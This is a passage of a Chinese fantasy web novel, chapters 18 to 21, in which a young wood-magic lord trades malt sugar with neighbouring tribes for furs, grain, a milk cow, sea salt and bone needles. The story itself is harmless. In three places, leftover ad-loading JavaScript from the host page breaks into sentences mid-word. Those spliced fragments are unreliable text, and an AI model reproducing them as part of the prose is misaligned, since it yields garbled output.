布料颜色有限，最多的是土黄、灰褐两种，大约是植物纤维本身的颜色，咸菜绿若干，另外还有深浅不一的青色和红色，各有一块。 通过不同颜色所占的比率，便可以简单粗暴地推断出各种染料的稀有程度和价格。 藤部落的使者只是带来问候，然后便要起身告辞。 “请等一下。”云漠向来吃软不吃硬，对方主动示好，她也没打算白占便宜。 她让霍莉取来一只陶罐，从里面拿出一块用树叶包裹的切割好的麦芽糖块，又拿了一颗糖瓜，“我愿意用这两种糖交换粮食、蔬菜和药材，最好是成品，如果只有种子也可以。另外，我还需要大量细腻柔软的布匹，粗布也要一点，要是有蓬松柔软的填充物就更好了。” 糖！ 竟然是糖！ 藤部落的使者的眼睛都微微睁大了。 “这种糖果非常特殊，口感也最好，所以要贵一些。”云漠单独指了指糖瓜，“另外，如果方便的话，请帮忙向外传达，我还想要一点厚实的皮毛、肉干、针线、盐巴和清洁用品。” 这个时空已经出现了相当成熟的以草木灰、皂角和各种动植物油脂制作的肥皂和润肤产品，从王城带来的已经快用完了，这次也要采购。 如果托尼的情报没有出错，这几个大部落之间的关系非常密切，干脆让她们帮忙联络好了！ “糖……” 稍后，绿藤看着摆在面前的两颗糖块，心情复杂地吐了口气。 竟然是糖。 她小心地捻起糖块，眯着眼睛对光看了会儿，又放到鼻端轻嗅，甜美的味道让她晕眩。 绿藤略一沉吟，先用小布片将糖块包裹，然后以重物轻轻敲击，打开后蘸了一点粉末放入口中。 好甜！ 怎么会这么甜？ 纯粹，干净，细腻，到底是怎么做到的？ 藤部落也有带甜味的植株，可即便反复熬煮，也绝不会有这样的浓度！ 而且时间短了太稀，时间长了又容易糊。 口腔中的甜味久久不散，源自本能的愉悦滋润着每一个细胞，绿藤几乎不舍得张嘴，过了好久才问：“树屋建得怎么样了？” 使者答道：“只差两面墙和房顶了。” 这样快……绿藤陷入沉思。 对植物的驾驭能力直接代表魔法师本人的实力。 多年来，她长久地徘徊在魔法世界大门前，始终不能再前进一步，只能眼睁睁看着时光流逝。 她已经不年轻了。 如果不能尽快入门，成为真正的魔法师，她将很快变得像虎部落的大巫那样苍老、孱弱。 没有生灵不惧怕死亡。 种族混战中幸存的魔法师大多心灰意冷，遁入山野，绿藤已经很久没见到真正的人类木系魔法师了。 直到云漠出现。 没人能体会绿藤心底翻滚的狂喜。 那不仅是稀有的同类魔法师，更代表着希望，绿藤进阶的希望。 对方虽然还是个孩子，但处事相当老练，竟然还有特产！ “去虎部落传话吧。”许久，绿藤说。 “什么，糖？” 得知神秘的木系魔法师竟然想以糖为交换物，石斧也十分诧异。 她竟然掌握着这种高深的技术么？ 糖分能快速恢复体力，增强体魄，虎部落盛产战士，自然很喜欢。 神明也喜欢甜甜的贡品。 但她们不擅长种植，没法儿像藤部落那样煮甜水，只能对着野外的蜂巢下手。 风险很高，危险极大。 野蜂足有半个巴掌大，几乎每个蜂巢中都会有一部分觉醒风系魔法元素亲和，飞行速度极快，轨迹极其刁钻。 而且野蜂毒性很强，一口肿胀麻痹，两口化脓溃烂，三口足以杀死一名强壮的战士。 哪怕强大如石斧，也不愿意轻易招惹。 正常情况下，一罐蜂蜜至少能换来一匹健壮的骏马，是妥妥的奢侈品，普通小部落根本不可能出手。 但虎部落不同：它强大且富有！ 石斧性格果断，只要喜欢就会马上去做。 她跟大巫说了一声，然后就兴冲冲跑去树屋了。 石斧到时，云漠正站在催发藤蔓，霍莉则在树下的马车边忙活着。 虽然来之前已经知道了，但亲眼见证细细的藤蔓灵蛇般沿着既定轨迹生长、定型，还是带给石斧无与伦比的冲击。 她还很年轻，对过去有限的认知多来源于大巫的口述： 据说在人类文明辉煌灿烂时期，各国都有强大的魔法师坐镇，她们隶属于魔法师工会，根据喜好和立场或四处游荡，或埋头钻研，或效力于不同的国家，彼此竞争，相互交流。 魔法师，最接近神的生物，一人便抵得上一支精英军队，强大者可屠城、灭国…… 纵然石斧已算人类中的强者，一斧可劈开数吨重的巨石，却也想象不出究竟要怎样的实力才能以一己之力灭国。 曾经石斧这样问过，大巫笑了，“你还很年轻，以后会更强大，比你自己所能想象的，更强大。” 我也能灭国吗？ 石斧心潮澎湃。 对此，大巫只是难得狡黠地眨了眨眼睛，没说能，也没说不能，“孩子，这要看你自己。” 活的人类魔法师…… 石斧的脚步不自觉放轻了。 霍莉发现了她的到来，主动上前打招呼，“您好。” 霍莉还记得这位女战士，毕竟那柄巨大的石斧真的太独特了，独特到令人过目难忘。 石斧点点头，才要说话，目光却落到她身边的马车上。 片刻后，石斧对从踩着藤蔓阶梯走下来的云漠说：“你是新来的领主。” 疑问的句式，肯定的语气，石斧声音中的热情肉眼可见的消散。 她看到了人类贵族世界才 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原身的母亲确实曾经难产，也落下了病根，但是并不致命，甚至保养得还不错。 而原生的父亲也是骑士出身，警惕性很高，也拥有不俗的武技，又怎么可能因为外宿失火这样离谱的原因死去？甚至连带着身边的忠仆也没有一个活下来的。 至于消息传回来之后，母亲因过分悲痛郁郁而终，更是扯淡。 那是一个相当坚强且机敏的女人，她非常疼爱自己的孩子，也比谁都明白年幼的孤女失去了双亲的庇护，将会沦落到何种惨烈的下场，所以她绝不可能沉浸在失去伴侣的悲伤中不能自拔。 毕竟这可是个继承权不分性别的时空，只要有这个女儿在，她根本不愁后继无人。 玛雅姨妈想必也是这么认为的，所以曾向裁判所反复追问真相，奈何没有结果。 大约她觉得原主还是个孩子，因此选择隐瞒下来…… 人类本性慕强，而正派的强者又会因为对方的凄惨而心生怜悯，更何况敌人的敌人就是朋友。 果然，听云漠说完之后，石斧那本就不多的敌意就散得差不多了。 她抓抓头发，甚至产生了一点微薄的歉疚，“啊……” 可对方的悲剧又不是自己造成的，让她道歉吧，又有点说不出口。 强大的女战士难得局促地看着对面干瘦的小姑娘，越发内疚。 啊，我刚才是不是太凶了？ 云漠瞬间收敛起悲伤的表情，冲石斧笑了下，一万分的诚恳，“我理解你的顾虑，因为我对那段惨烈的战争史也颇有耳闻，如果换做是我，恐怕做不到你这样冷静和理智。” 千穿万穿马屁不穿，这一下子又给石斧说得不好意思了。 年轻小领主的眼神澄澈，笑容真挚，浑身上下都写满坦诚，叫人没法不动容。 石斧晒成蜜褐色的脸蛋上隐隐泛起一点红晕，“咳，倒也没什么……” 霍莉：“……” 不是，刚才冷冰冰质问的是谁啊！ 哈，是个非常耿直又坦率的人呐！ 云漠心下了然，主动打破沉默，“你是来换糖的吗？” 19. 第 19 章 “啊，是的！”石斧立刻回神，开始询问起兑换比率来。 正常市价是一罐蜂蜜换一匹活的健壮骏马，但麦芽糖的技术、糖瓜的分量和蜂蜜明显不同，需要进一步商议。 云漠坚决不透露制作方法，强调这种糖的品质绝对不输给蜂蜜，并坚称糖瓜制作难度更高，虽然密度低、分量轻，价格却要至少与同等体积的糖块和糖浆等同，甚至更高。 霍莉在一旁用力点头，并撸起袖子展示自己日益发达的手臂肌肉。 这健美的身体可都是拜那些乳白色的漂亮糖瓜所赐！ 它们值得！ 石斧则表示，不接受这种“棕糖”比蜂蜜贵。 毕竟获取蜂蜜可是会出人命的！ 如果棕糖比蜂蜜还贵，那还不如大家冒险去找蜂巢好啦！ 反正以虎部落战士们的实力，只要大家配合得当、相互分担，辅以烟熏、火攻，顶多一人被咬一口也就是了…… “骏马是食草活物，对您这种强大的战士来说没有任何威胁，肯定轻轻松松就能捕获了！但这种糖可不行！”云漠振振有词，又压低声音，带了几分神秘气息，“这可是魔法的产物！” 前几句赞美让石斧有些飘飘然，但听到后面就迸发出野兽般的直觉，强制冷静： 她是不是糊弄我？ 魔法又不是炼金术，怎么就“产物”了？ 别以为我不知道，藤部落也产出甜水！ 都是火上加水煮的！ 而且野马性烈如火、奔跑如风，有很强的攻击性，一脚下去能把人的头骨踢断，想要完整活捉非常艰难。 至于家养的，驯马和养马都需要场地和独门技巧，需要花费大量的时间和心血，只有北方少数几个地理位置得天独厚的部落能干，不然也不可能这么贵。 “藤部落的甜水说到底也是水，再怎么熬煮也只是浓稠一点的糖水，可你看我们这个！糖块！要多么纯粹的糖分才能直接凝结成块啊！” 云漠眯起眼睛，摆出一副滚刀肉式的奸商架势： 那你们去找藤部落买好了嘛！ 石斧：“……” 藤部落还想找你买呢。 虎部落确实富裕，但还没富裕到能不在乎价钱，大手笔豪放买糖瓜的程度。 双方进行了一番激烈的，充满铜臭味的讨价还价，各有让步，却也各自坚守了底线。 石斧不免有些遗憾。 看来糖瓜确实是不好做，如果真要买的话，恐怕只能以自己的名义买一点来解馋啦。 另外也可以买点祭神。 现在家里有两匹马，云漠暂时不想再购入运输类的牲畜，毕竟那玩意儿饲养起来太费劲了。 她的目标主要还是兽皮和肉干。 虎部落最不缺的就是这两样，石斧立刻滔滔不绝地介绍起来，并邀请她过去亲自挑选。 虎部落的人几乎个个都是好猎手，狩猎对象也五花八门，其中不乏大型猛兽。 它们身上厚实而柔软的皮毛是所有生灵过冬必不可少的，真正的救命物资，这也让虎部落成为最大的皮毛交易中心，极其富裕。 捕猎猛兽的难度和危险性自然不是同体积的草食动物可比的，需要长期追踪、多人协作，且时有伤亡。 每一张皮毛，每一块肉干，都是战士们沾满了血肉的勋章。 经过反复协商，双方定好了交易价格： 最常见的小型皮毛以兔皮居多，云漠自己就能解决，直接不加考虑； 中型猎物中狐、貂、狼较多，机动灵活、奸诈狡猾，有一定危险性，外行人很难入手，皮毛御寒能力也较强，是性价比最高的一类，完好的兽皮两张，换三罐棕糖。 有破损的可以便宜点，兑换比例一比一。 至于大型猛兽，比如熊、豹之类，数量稀少、保暖性也最强，自然奇货可居，一张有破损的皮就要至少三罐，甚至四罐糖，乃至有价无市。 那种级别的猛兽已经算得上是行走的大杀器和屠夫，甚至部分品种继承了堕落魔兽的血脉，具备某种魔法元素亲和，威胁巨大。 所以狩猎的胜利往往伴随着牺牲，猎手真的是在拿命拼，报价低了都算侮辱人。 太贵了，没必要，云漠暂时也不加考虑。 肉干方面比较复杂。 狩猎猛兽基本就是冲着皮毛去的，肉反而廉价，因为它们的肉腥臊味极大，做成肉干后味道更浓烈，云漠选择拒绝。 她提议根据体型大小不同，用一罐棕糖换1.5到3头不等的食草动物的肉。 毕竟捕猎食草动物确实更安全更容易一点，而且只要肉，价格自然不能跟能干体力活儿的活物相比。 云漠来得毫无征兆，对集市的贸易量和走货水平也知之甚少，带的糖不算多。 而虎部落的原计划中也没有这一项，要留出足够的皮毛和肉干换取粮食和食盐等。 双方都比较克制。 考虑到双方都具备一定的自给自足能力，而且接下来的大半年只会越来越暖和，野外物资也越来越丰富，倒也不着急迅速补齐，便约定三个月后再来这里交易。 等什么时候真的混熟了，相互信任了，就可以直接绕过集市，不受时间和地点的局限，私下单独交易。 石斧挺厚道，说好了就不耍小心眼儿，抱出来的都是秋冬打的一等皮子，让云漠自己挑。 云漠着实惊讶到了。 还真是纯粹论张换啊。 虽说这一卷皮子的尺寸接近，但细看下来也有差别，照这个标准，那可操作空间就大了去了。 石斧点点头，咧嘴露出满口白牙，示意她动手。 这些主动脱离王国统治的人类，大多还是比较淳朴率真的，只要事先约定好，就轻易不会耍诈。 云漠也不客气，认真选了，俱都茸毛厚实，细腻柔软，根根分明的毛尖儿都透着亮。 举起来抖一抖，阳光顺着皮毛自带的油光流淌，漂亮极了。 期间有两张她拿不定主意，选择困难症都犯了。 还是石斧自己看不下去，干脆利落地抓起来对着光向她仔细展示，又示意她上手在背面感受： 那张颜色确实更大更漂亮，但不如这块厚实，毛发手感也略差些，可能过几年就不这么软和了。 为什么呢？ 因为前一张的主人年纪比较大了，身体衰弱，皮毛的品质自然也就差了。 云漠表示学到了，果断根据她的推荐拿下。 虎部落确实狩猎技艺高超，皮毛上伤口不多，而且多集中在头颈要害位置，胸腹部都很少。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 云漠想象不出来，以那么简陋的武器，石斧她们到底是如何做到的。 她脸上的赞美和惊叹不加掩饰，石斧心满意足，抱着胳膊，下巴抬得高高的。 要是有尾巴，估计都甩出残影了。 最后选定6张皮毛。 6张中等皮毛分别来自狐、狼两个大类，以灰、棕色为主，其中2张还有不太明显的暗黄色斑纹。 其中4张是完好无损的，按照1：1.5的兑换比例，算6罐麦芽糖。 另外2张品质也很好，但伤口位置不理想，导致皮子背部有些破损，只能算次一等，按照1：1的兑换比率，可以换2罐麦芽糖。 石斧没要，改成1罐更贵的糖瓜，一半算是部落官方购买的祭祀用品，另一半则是石斧自己的小金库，归她私人所有。 云漠并不在意皮毛上的伤口。 虽然有破损，但边缘整齐，只要不做皮袄，不管是盖着还是铺着，用针线缝一下就跟好的一样用！ 双方都对这个交易结果很满意。 最后收拾的时候，夹层里掉出来一张大约40厘米见方的灰兔皮，格外柔软，水一般顺滑，当个围脖或做成毛领能舒服死。 石斧也很大方，拿起来抖抖灰尘，直接当添头白送给云漠了。 拿去！ 云漠：“……哇哦！” 好人！ 分别前，石斧还说皮毛脏了也不用怕，等天冷了往雪地里一摔，抓着新雪使劲擦几回就干净了。 皮毛们活着的时候就是这么洗澡的。 云漠点点头表示知道了，准备背起来就走。 然后……没背动。 太沉了！ 东西也太多了！ 那包裹差点把她压趴下！ 石斧嘎嘎乱笑，笑完了过来抓起足有两个云漠那么大的行李，轻松甩上背，直接给她送到树屋下的马车里。 云漠本打算请她喝杯糖水，擦擦脸，但石斧摆摆手，又指了指营地，意思是还有事，潇潇洒洒转身走了。 见云漠满载而归，霍莉也跟着高兴，“虎部落的人还挺爽快的。” 一开始对方发难，她还担心会起冲突呢，心惊胆战的。 云漠深有同感，“能好好过日子，谁愿意打仗呢？来，再帮我顺顺，看看咱们的收获！” 两人钻进马车里，打开大包裹，又将那六件皮毛一体仔细检查了下，确保没有小虫子。 霍莉还是第一次看到，赞不绝口，边看边划算能做什么。 “这块黑狼皮真好啊，您做一件长袄吧，冬天就不冷了……啊，这块狐皮也不错，您可以做一件斗篷……” 真的好大一包，像一座小山。 如果在现代社会，可能云漠一辈子都买不了这么多皮草。 去掉头和四肢，最大的一张皮毛足有1.7米宽，将近2米长，不用拼接就是一张大褥子。 超级重，毛又长又厚，手按下去都能没过手背，丝滑无比。 这儿的动物真的都特别大个儿。 这还只算中型的呢！ 云漠忍不住扑上去打了个滚儿，太暖和了！ 这冬天不得热一身汗？ 之前她们打的兔子皮都可以做成帽子、围脖和薄袄，上下一套都有了。 20. 第 20 章 对云漠现在就开始换皮毛的行为，霍莉一开始还不大理解，“小姐，您不是说秋天的皮子最好吗？” 接下来只会越来越热，似乎用不到了呀。 其实最初云漠也是这么想的，但看到集市上这么多人后，就立刻改变了想法。 适合自己的好东西可遇而不可求，野兽皮毛毕竟不像种地，获取很大程度都要靠运气。 万一现在她们犹豫，转头那几张皮毛就被藤部落、海部落换走了怎么办？ 要知道，附近几个小国的贵族们也虎视眈眈呢！ 别看换了六张，要三个人分呢，再加上铺的盖的，至少要人均四张才行，根本不够用，秋天还得换。 比起石斧的雷厉风行，绿藤则更慎重，或者说瞻前顾后一点，直到下午才跟云漠正式交易。 在绿藤的主张下，藤部落也展现出充分的诚意，光主食就给了四种：常见的麦子和两款根茎类作物的果实，还有一种酷似黄豆的东西！ 黄豆！ 如果真的是黄豆，那能做的东西可就太多了！ 榨油，酱油，豆酱，黄豆芽，豆腐，豆浆，腐竹等等……这将极丰富餐桌，改善生活！ 四种主食都给了成品，也给了种子，其余的蔬菜瓜果、药材等则只给了不能育苗的成品。 绿藤亲自出面表达了歉意，直接表示那些是支撑她们部落经济的命脉，是几代人的智慧结晶，不可外传。 在大多数交易中，藤部落都占据主导地位，只有她们挑人家，没有人家挑她们的，自然也用不着解释。 但云漠不同。 她是一名正式的木系魔法师。 这层身份就注定了跟藤部落既是同盟，又是竞争对手的微妙处境。 魔法师的强大绿藤比谁都清楚，尤其她还渴望得到对方的在魔法方面的交流和指点，就必须先表现出善意。 但云漠的实力摆在那儿，如果她真要跟自家竞争，整个藤部落都有可能被逼到绝境…… 实力就是一切，话语权永远掌握在强者手中。 虽然木系魔法师大多比较崇尚和平友爱，但也不乏好战分子，如果对方真的是属恶魔的，想明抢…… 所以现在相较精进魔法，绿藤心中更多的是忐忑，唯恐这位突然到来的新领主继承了贵族血脉中的霸道和邪恶。 幸运的是，绿藤赌对了。 任何一个组织和势力想要长期发展壮大都离不开支柱型产业，藤部落的支柱型产业很显然就是种植业。 云漠原本也是见绿藤主动示好，抱着“有枣没枣，打两杆子试试”的态度随口一说，能有4种种子已算意外之喜。 她不想将精力浪费在各种无意义的猜忌和提防上，所以简单粗暴地作出承诺：“无论现在还是将来，我的领地都不会对外进行大宗粮食交易。” 粮食自然生长的周期漫长，耕种过程极其辛苦，但回报率却很低，在大机械化生产之前，并不是理想的产业选择。 云漠的坦率又让绿藤很不好意思，有种被戳破小心思的赧然。 不过这也让她松了口气。 太好了，是友非敌！ 简单高效，显然双方都对这种有话直说的沟通方式非常满意。 藤部落的小麦跟云漠从王城中带来的很不一样，颗粒明显更大更饱满，外皮也更薄，不用尝就知道口感肯定更好更香甜。 当然，价格也更贵。 这种优质小麦的买家不多，基本只固定在虎部落、海部落，还有周边几个小国的高层贵族圈，普通人换的是另一种产量更高更便宜，相对口感也不那么好的品种。 所有的种子都蕴含着磅礴的生机，云漠挑了一粒催发，发现长出来的麦苗也比她家里的粗壮。 云漠有点兴奋，准备带回去跟自己培育的优质麦苗杂交试试，看能不能培育出更优秀的子株。 如果成功，不妨回赠给藤部落。 人家精通种植，真要改良起来绝对比云漠专业，也算投桃报李吧。 而且如果作物品质和产量真的能持续提升，交易比率就能降下来，大家的日子都好过。 日子好过了，治安才能改善不是？ 另外两种根块作物倒是没见过，长得有点像芋头，又有点像山药，外面毛毛刺刺的。 晚上霍莉就煮了几个来吃，淀粉含量非常高，微微带一点甜香，算是相当不错的主食。 关键是特别管饱，很难消化，半夜给云漠撑得睡不着，睁着两只酸涩的眼睛加班加点盖房子…… 一边盖还一边想，这玩意儿绝对很适合炖肉！ 因为特长重叠，藤部落和云漠对于彼此的需求都不算特别大，双方交易一开始走的就是高质少量的路线。 相较交易，双方正式“建交”的意义更大些。 毕竟有点渊源嘛，彼此守望相助也是好的。 同属木系，只要不被踩到地，一般还都挺平和的…… 人越聚越多，云漠每天三次观察统计人数，发现集市正式开始前已经逼近2000人了。 敢长途跋涉出来贸易、运送货物的，大多是有战斗力的好手，随时可以发动突袭。 如此庞大的人数，都够组织一场战役了，如果她是精灵王，估计觉都睡不好。 云漠注意到，作为一年4次的贸易盛会，来的不光是附近的居民和部族，甚至还有很多小国的官方交易团大量采购，非常热闹。 当然，至于他们到底有没有在采购间隙进行其他行动，就不得而知了。 云漠还发现了一伙儿卖牛奶的人！ 这可真是意外之喜！ 几个女人直接牵着几头奶牛现买现挤，主打一个源头直售，新鲜有保障。 云漠买过一次，清晰地看见了乳白色牛奶中漂浮的牛毛，默默地拿回去，用刚刚交换到的藤部落细布过滤了两遍，煮沸之后再喝，果然奶香浓郁。 再加一点麦芽糖，又香又甜，都舍不得放下了。 她主动找对方谈了一笔生意，想要换取一头奶牛。 一天一杯奶，强壮一个民族，她还在生长发育期呢，营养必须跟上。 玛雅姨妈和霍莉的日常消耗也很大，必须随时补充蛋白质和钙。 另外，有了牛奶就可以持续不断的制作黄油乳酪等奶制品，小蛋糕搞起来，面包也能增加口味、丰富口感。 但以物易物有个显而易见的弊端： 你有的，未必是对方想要的！ 比如现在，养牛人不要糖！ 不是不喜欢，而是买不起。 鲜牛奶保质期很短，以现在的交通运输条件，辐射范围很小。 养牛部落附近的同类们生活也不怎么宽绰，牛奶这种改善类的物资并不在大家的日常采购清单上，所以这些卖牛奶的人生活并不富裕，这次来就想换最急需的粮食和药材。 没办法，云漠只好先跟藤部落做了二次交易，然后又用换来的粮食和药材买了一头健壮的小奶牛。 卖牛的是个非常健壮的女人，皮肤黝黑，交易时恋恋不舍地在奶牛脑袋上用力撸了又撸，对着云漠千叮咛万嘱咐，“它前段时间刚生了小牛，可惜天气太冷，小牛犊死掉了……一定好给它吃饱，不要让它太难过。” 奶牛需要下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 崽才能刺激分泌乳汁，而奶量也不是恒定的，有高峰也有低谷。 而奶牛的营养摄入情况和情绪又直接影响产奶量，所以她才这么说。 云漠和霍莉都听得很认真，时不时提问，得知现在的原始品种高峰期大约每天在10升左右，然后低谷期的话就可能只有5升甚至更少。 等几个月之后，就会渐渐回缩，不再产奶了。 比起后世不断改良的专业奶牛品种，这个产奶量确实少得惊人，跟它们庞大的体型完全不符。 至少需要饲养两头或以上的奶牛，让它们轮流当妈妈，才有可能保证云漠等人一年到头不间断的每日固定牛奶摄入。 这样既能保证奶牛从生育中恢复身体，也能有富余制作黄油等奶制品。 不过她们之前没养过牛，也不知道这个品种到底怎么样，决定先只买一头养养看。 如果好的话，三个月后的集市上就再买一公一母。 现在家里虽然有两匹马，但是云漠几乎天天外出，要轮换着骑，它们也要休息。 不然头天才当了运输工具，第二天马上下地干活，资本家听了都要流泪。 以后养几头牛，母牛可以挤牛奶，公牛可以干活，翻地、去附近打水、拉柴火什么的，两匹马就能解脱出来，专心跑路了。 卖牛人听说还有可能有后续，也高兴，“好的好的，几个月后的话，又会有几头小牛长大!想买肉牛也可以找我们！” 她们专职饲养业，相较奶牛，肉牛更多，口感和体型都比曾经紫叶狩猎过的野生巨牛差很多，但胜在性情温顺，不会主动攻击人类。 小奶牛眼睛圆圆的，睫毛长长的，湿漉漉这么看过来，叫人心里软得一塌糊涂。 霍莉可喜欢它啦！ 每天都给它梳毛，寻找最鲜嫩多汁的青草。 “小花呀，小花，多多吃，快快长大，每天要产好多好多奶……” 这是云漠给小牛起的名字，还挺衬它身上乱七八糟的花纹的。 两匹马也对这位年轻的新成员很好奇，一边吧唧着多汁的青草，一边眨巴着眼打量着：哦，它身上有花哦！ 小花有点害羞，也有点怕生，细声细气的“哞”了一声。 当天晚上下雨，霍莉觉都不睡了，第一时间把小花牵到树屋下面，擦拭着它被淋湿的一半屁股心疼不已。 “可千万不要生病呀！” 云漠看得又好笑又感动，“霍莉，我看是你要生病啦！” 小花没淋着，霍莉倒有大半个身子落在了树屋地板之外！ 现在的雨可还冷着呢！ “我可比它们健壮多了。”霍莉得意道，不过还是很快回到马车上。 云漠煮了一杯麦芽糖水，里面还加了几片姜片，催促霍莉喝下去。 树屋明天就可以封顶，她们就不用再蜷缩在马车里。 霍莉用两只手小心翼翼的捧着，一口一口啜饮。 甜甜的，真好喝呀。 就是有点辣，喝下去热乎乎的，真舒服。 小姐懂的真多呀。 不一会儿，霍莉脑门儿上就出了一层薄汗，刚才淋雨的那点寒气好像都随着毛孔消失得无影无踪。 云漠也给小花冲了点甜甜的糖水，小牛喝得眼睛发亮，脑袋都舍不得抬，只剩两只毛茸茸的耳朵抖啊抖，快乐极了。 两匹马看了，有点嫉妒，一个劲儿地尥蹶子，闹得云漠没办法，也给它们冲糖水。 家畜适当喝点糖水是有好处的，可以快速上膘、增肌，并改善胃内状态，提高消化能力。 但不能过量，容易蛀牙。 21. 明天入V 也不知石斧从哪里听说云漠买了牛，次日一大早就过来看，生怕她被人糊弄了。 买奶牛不是个简单活儿，有些不厚道的卖家会故意把快结束产奶期，甚至是生病的牛出手，然后就不管了。 作为集市的监管者之一，石斧有责任保证每一笔交易都公平公正。 云漠带她看了小花。 石斧刚要靠近，小花就惊恐地后退，都不敢叫出声了。 这个人类身上满是杀气，还有浓郁的野兽味道，好吓牛啊！ 石斧无奈挠头，快速上前检查了牙齿和四肢，然后退开老远，“是头好牛。” 云漠彻底放下心来，带着石斧去远处喝糖水。 再继续待着，估计要把小花吓回奶啦！ 霍莉正在做针线活儿，只是现在的针不太好用，太粗了。 “如果要买那种细针的话，只能找海边部落，以海螺和海贝为图腾的那些人。”石斧说，“骨针质地干脆，是磨不到那么细的，而海边多大鱼，鱼骨柔韧有弹性，最适合做细腻的针线活儿。” “海边部落？就是会制作海盐的那两个部落吗？”云漠问，“她们到了吗？” 石斧点头，“刚到。” 不远处的灰杉托尼听见，立刻唧唧呱呱地说起来，“到啦到啦！” 就在今天凌晨，沿海代表们姗姗来迟。 据托尼探听，她们来的路上遇到春汛，河岸坍塌，被迫绕行，还损失了一些货物。 云漠听着都替她们后怕，送走石斧后就往海部落那边去了。 海部落不常来，且非常抗冻，就没有固定住所，只临时搭建帐篷。 她们驾驶两辆巨大的双轮木车，拉车的动物似牛非牛，似马非马，肩高至少有一米半，体格非常健壮，性格却很温顺可爱。 尤其一双大眼睛圆溜溜的，睫毛极长，上眼睑还有一条细长的黑色斑痕，活像画了眼线，怪俏皮的。 有孩童试图跳起来摸它们的耳朵，它们也只是很好脾气地打个响鼻，继续吧嗒吧嗒啃草，偶尔甩甩毛茸茸的尾巴，驱赶讨厌的蚊蝇。 一行八人，每辆车上四个，两人轮流驾驶，两人一攻一守警戒，是非常典型的小队作战模式。 她们风尘仆仆，神色十分疲惫，但精神倒还好，帐篷上高高悬挂着绘有海螺纹样的图腾旗子。 带队的是个看上去二十来岁的年轻姑娘，脸蛋是渔民特有的黑红色，见云漠过来，便主动上前询问是否要交易。 “如果是海盐的话，很抱歉，除去上次预定的分量，这次没剩下太多。” 海边的冬天太冷了，上次还有另一群人同行，可这次，只有她们。 另一个弱小的部落没能熬过冬天，幸存者已经并入海螺部落。 听说另外几个海边部落也不好过。 这趟她们足足损失了四大袋盐、一包漂亮的海珠、贝壳，剩下的货物换不回足够过冬的皮毛和肉干，已经在跟藤部落和虎部落商议赊账了。 三个部落常年贸易，非常稳定，藤部落和虎部落又富裕，相信族人很快就能带回好消息。 没盐可不行！ 云漠立刻问还剩多少。 海部落首领转身喊了一句，马上就有个十来岁的小姑娘跑出来回话。 是个十几岁的小姑娘，叫海鹰，常年被海风磋磨成黑红色的脸蛋上嵌着一对黑珍珠一样的大眼睛，睫毛长长的，说话时会像小扇子一样扑闪扑闪的，特别可爱。 “扣掉给几个小国、藤部落、虎部落和精灵族的，还剩两袋。”海鹰脆生生道，犹豫了下，又说，“不过可能也会有其他人要的……” 她有点不好意思，觉得这样拒绝客人不太好。 但这次损失惨重，如果再让一个客户全包，其他客人就没得吃了。 海部落的首领没有否认，显然非常认同海鹰的做法。 她们离得太远了，一年只来两次，而另外几个海边部落则选择前往当地的集市，不来这边。 实在是没办法的事。 真是善良的人。 云漠看了下袋子，又上手估计了下重量，一袋大约有10斤的样子。 海盐呈浅灰白色，味道也相当纯粹，哪怕比不上后世的机械化精加工，也非常不错了。 她笑起来，“你们今年还会来吗？” 两人用力点头，“等树叶被染红，我们还会来的。” 太热和太冷都不适合赶路，所以海部落只会在冬末春初和夏末秋初那两次来。 “那放心好了，这次我要不了那么多。”云漠笑道，“先给我这么多吧。” 她在盐袋子上比出大约三分之二的量。 现在容器的密封性不好，一次买太多盐容易受潮，里面的微小杂物会变质也说不定。 按照后世日人均盐摄入量不超过6克来算，她和玛雅姨妈、霍莉一天就是18克，一个月就是540克，一斤一两。 一袋10斤，三分之二就是差不多6斤7两，完全够半年的消耗了。 这还是最大量呢。 很多食材中其实也含有与盐接近的成分，所以实际盐用量还要更少。 海鹰就开始分盐，动作非常麻利。 看着白色盐粒下雪一样刷拉拉流入陶罐，云漠顺口问道：“你们还跟精灵族做交易吗？” 看似壁垒分明的各个部落、从属，却因为一场又一场贸易联系在一起，听起来真奇妙。 海鹰点头，用几片大叶子盖住罐口后才压上盖子，又在外围缝隙间涂满泥巴，这么做可以最大限度地防潮。 “是呀，精灵们喜欢漂亮的珍珠和贝壳，也要吃盐的。” 其实森林精灵最东端就靠海，那里生活着人鱼族。 据说人鱼族就像森林精灵一样，天生具备强大的水系魔法元素亲和，在水中穿梭就像鸟儿在空中翱翔那样简单，可以轻而易举地获取人类无法触及的深海物资。 但人鱼族常年生活在深海区，不太喜欢上岸跟外界交流，也不会晒盐，实在不是合格的商人。 云漠点点头。 这么说来，精灵巡逻队往这边集结，似乎也不完全为了防范人类嘛。 称量好盐后，云漠又如愿买到一大包骨针。 泡在水中的骨针非常通透，像一排排无暇羊脂美玉，尖端锋利，针身又极其柔韧，堪称完美。 见她年纪跟自己差不多，海鹰还帮忙介绍用法，“要提前拿出来晾干才好用，不然针尖很软，刺不透的。” 云漠仔细收好，“对了，你们还有什么特产吗？吃的，我也想买一点尝尝。” 海鹰就有些惊讶，老实道：“有一点，但这里的人们几乎都不喜欢，所以我们只是带来自己吃的……” 水产本来就有腥味儿，干货腥味尤其重，内陆人吃不惯也不奇怪。 海鹰问她想要什么，一时间云漠也说不上来，她还不知道这个时空的海货有什么品种呢。 “方便让我看一下你们平时吃什么吗？” 出门在外，她们携带的一定都是部落中最常见也最容易保存的干货。 “可以呀，”海鹰脆生生道，红扑扑的脸上满是热情，“你可以先尝尝看，如果真的喜欢，我们下次带来给你呀！” 然后云漠就大大方方进了人家的后厨！ 还不到饭点，后面没有做饭的，倒是有个四十岁左右的女性正在整理物资，见云漠进来也不排斥，咧嘴一笑，露出两排因肤色对比而显得很白的牙齿。 云漠注意到，今天她接触的三名海部落成员牙齿都很健康，可能不算整齐，但牙齿发育状况非常良好，没有明显的变色、畸形和脱落，说明成员们从很小就有充足且稳定的营养摄入。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这是一个比较强大的族群。 族群实力能间接说明很多问题： 稳定的货物来源，长期的存续，持续的文明，较高的组织性、纪律性，以及领导者对成员们较强的约束力。 跟这样的对象贸易，云漠很安心。 不然万一哪天付了定金，对方内部突然暴乱，不认账了咋办？ 海鹰掀开角落的粗布，露出小山一样的干货，让云漠自己看。 